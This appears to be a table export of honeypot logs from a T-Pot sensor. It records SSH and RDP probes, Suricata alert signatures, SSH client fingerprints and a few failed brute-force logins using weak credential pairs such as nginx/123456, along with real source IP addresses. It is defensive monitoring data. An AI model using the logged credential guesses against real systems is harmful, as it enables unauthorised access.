"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 50008, "dest_port": 22, "timestamp": "2021-09-20T11:19:43.867202", "@timestamp": "2021-09-20T11:19:43.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28713	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:52.953394+03	2021-09-20 14:30:03.195554+03	{"_id": "OQbvAnwBvYTbRNuEDTCf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:52.728001+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2131942012623809, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 46796, "dest_port": 3389, "timestamp": "2021-09-20T11:19:52.953394Z", "@timestamp": "2021-09-20T11:19:52.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28714	87.251.67.120	109.199.241.180	Suricata	2021-09-20 14:19:52.953394+03	2021-09-20 14:30:03.19655+03	{"_id": "OgbvAnwBvYTbRNuEDTCf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:19:52.728001+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "87.251.67.120", "asn": 20803, "as_org": "AB-Telecom Ltd.", "latitude": 47.0188, "location": {"lat": 47.0188, "lon": 28.8128}, "timezone": "Europe/Chisinau", "longitude": 28.8128, "country_name": "Republic of Moldova", "country_code2": "MD", "country_code3": "MD", "continent_code": "EU"}, "proto": "TCP", "src_ip": "87.251.67.120", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2131942012623809, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 46796, "dest_port": 3389, "timestamp": "2021-09-20T11:19:52.953394Z", "@timestamp": "2021-09-20T11:19:52.953Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
28715	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:19:43.591567+03	2021-09-20 14:30:03.198553+03	{"_id": "BwbuAnwBvYTbRNuE6zCx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 50008, "timestamp": "2021-09-20T11:19:43.591567", "@timestamp": "2021-09-20T11:19:43.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28716	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:19:48.117488+03	2021-09-20 14:30:03.199525+03	{"_id": "FAbuAnwBvYTbRNuE-jAT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:47.766858+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 238314553848714, "payload": "AAADVAUUX9jPJOQoeDEsdADCYNrHwQAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAABJghCH9Q==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35358, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:19:48.117488Z", "@timestamp": "2021-09-20T11:19:48.117Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T.._..$.(x1,t..`.......ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none.............I...."}}	1	\N	\N	alert	\N	\N
28717	157.245.53.4	109.199.241.180	Fatt	2021-09-20 14:19:48.117488+03	2021-09-20 14:30:03.200553+03	{"_id": "FwbuAnwBvYTbRNuE-zBU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-libssh2_1.9.0", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 35358, "dest_port": 22, "timestamp": "2021-09-20T11:19:48.117488", "@timestamp": "2021-09-20T11:19:48.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28718	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:19:48.913842+03	2021-09-20 14:30:03.202553+03	{"_id": "GAbuAnwBvYTbRNuE_DA-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.login.failed", "message": "login attempt [nginx/123456] failed", "session": "1eff696d39c2", "@version": "1", "password": "123456", "username": "nginx", "timestamp": "2021-09-20T11:19:48.913842Z", "@timestamp": "2021-09-20T11:19:48.913Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28720	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:19:45.078024+03	2021-09-20 14:30:03.204554+03	{"_id": "CAbuAnwBvYTbRNuE8DCE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.login.failed", "message": "login attempt [glenn/12345] failed", "session": "735fd167003a", "@version": "1", "password": "12345", "username": "glenn", "timestamp": "2021-09-20T11:19:45.078024Z", "@timestamp": "2021-09-20T11:19:45.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28721	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:19:46.360594+03	2021-09-20 14:30:03.206553+03	{"_id": "CQbuAnwBvYTbRNuE9DBt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "735fd167003a", "@version": "1", "duration": 2.769932985305786, "timestamp": "2021-09-20T11:19:46.360594Z", "@timestamp": "2021-09-20T11:19:46.360Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28722	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:19:47.94128+03	2021-09-20 14:30:03.207553+03	{"_id": "EAbuAnwBvYTbRNuE-DBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 157.245.53.4:35358 (192.168.176.2:22) [session: 1eff696d39c2]", "session": "1eff696d39c2", "@version": "1", "protocol": "ssh", "src_port": 35358, "dest_port": 22, "timestamp": "2021-09-20T11:19:47.941280Z", "@timestamp": "2021-09-20T11:19:47.941Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28723	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 14:19:47.94431+03	2021-09-20 14:30:03.208524+03	{"_id": "EgbuAnwBvYTbRNuE-DBW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "1eff696d39c2", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T11:19:47.944310Z", "@timestamp": "2021-09-20T11:19:47.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
28724	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:19:41.000216+03	2021-09-20 14:30:03.209554+03	{"_id": "EwbuAnwBvYTbRNuE-jAT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:18:40.084079+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "61.133.192.126", "flow_id": 1979784201521263, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 54494, "timestamp": "2021-09-20T11:19:41.000216Z", "@timestamp": "2021-09-20T11:19:41.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
28725	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:54.686684+03	2021-09-20 14:30:03.210556+03	{"_id": "QgbvAnwBvYTbRNuEEzCy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2126 (192.168.176.2:22) [session: 2606c7026a3f]", "session": "2606c7026a3f", "@version": "1", "protocol": "ssh", "src_port": 2126, "dest_port": 22, "timestamp": "2021-09-20T11:19:54.686684Z", "@timestamp": "2021-09-20T11:19:54.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28726	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:54.690011+03	2021-09-20 14:30:03.212555+03	{"_id": "RgbvAnwBvYTbRNuEEzCz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "2606c7026a3f", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:54.690011Z", "@timestamp": "2021-09-20T11:19:54.690Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28727	117.22.230.94	109.199.241.180	Suricata	2021-09-20 14:19:54.964248+03	2021-09-20 14:30:03.213553+03	{"_id": "RwbvAnwBvYTbRNuEFTBw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "flow_id": 1728234414293534, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2126, "dest_port": 22, "timestamp": "2021-09-20T11:19:54.964248Z", "@timestamp": "2021-09-20T11:19:54.964Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28728	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:19:54.964487+03	2021-09-20 14:30:03.214554+03	{"_id": "SgbvAnwBvYTbRNuEFjCw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2126, "dest_port": 22, "timestamp": "2021-09-20T11:19:54.964487", "@timestamp": "2021-09-20T11:19:54.964Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
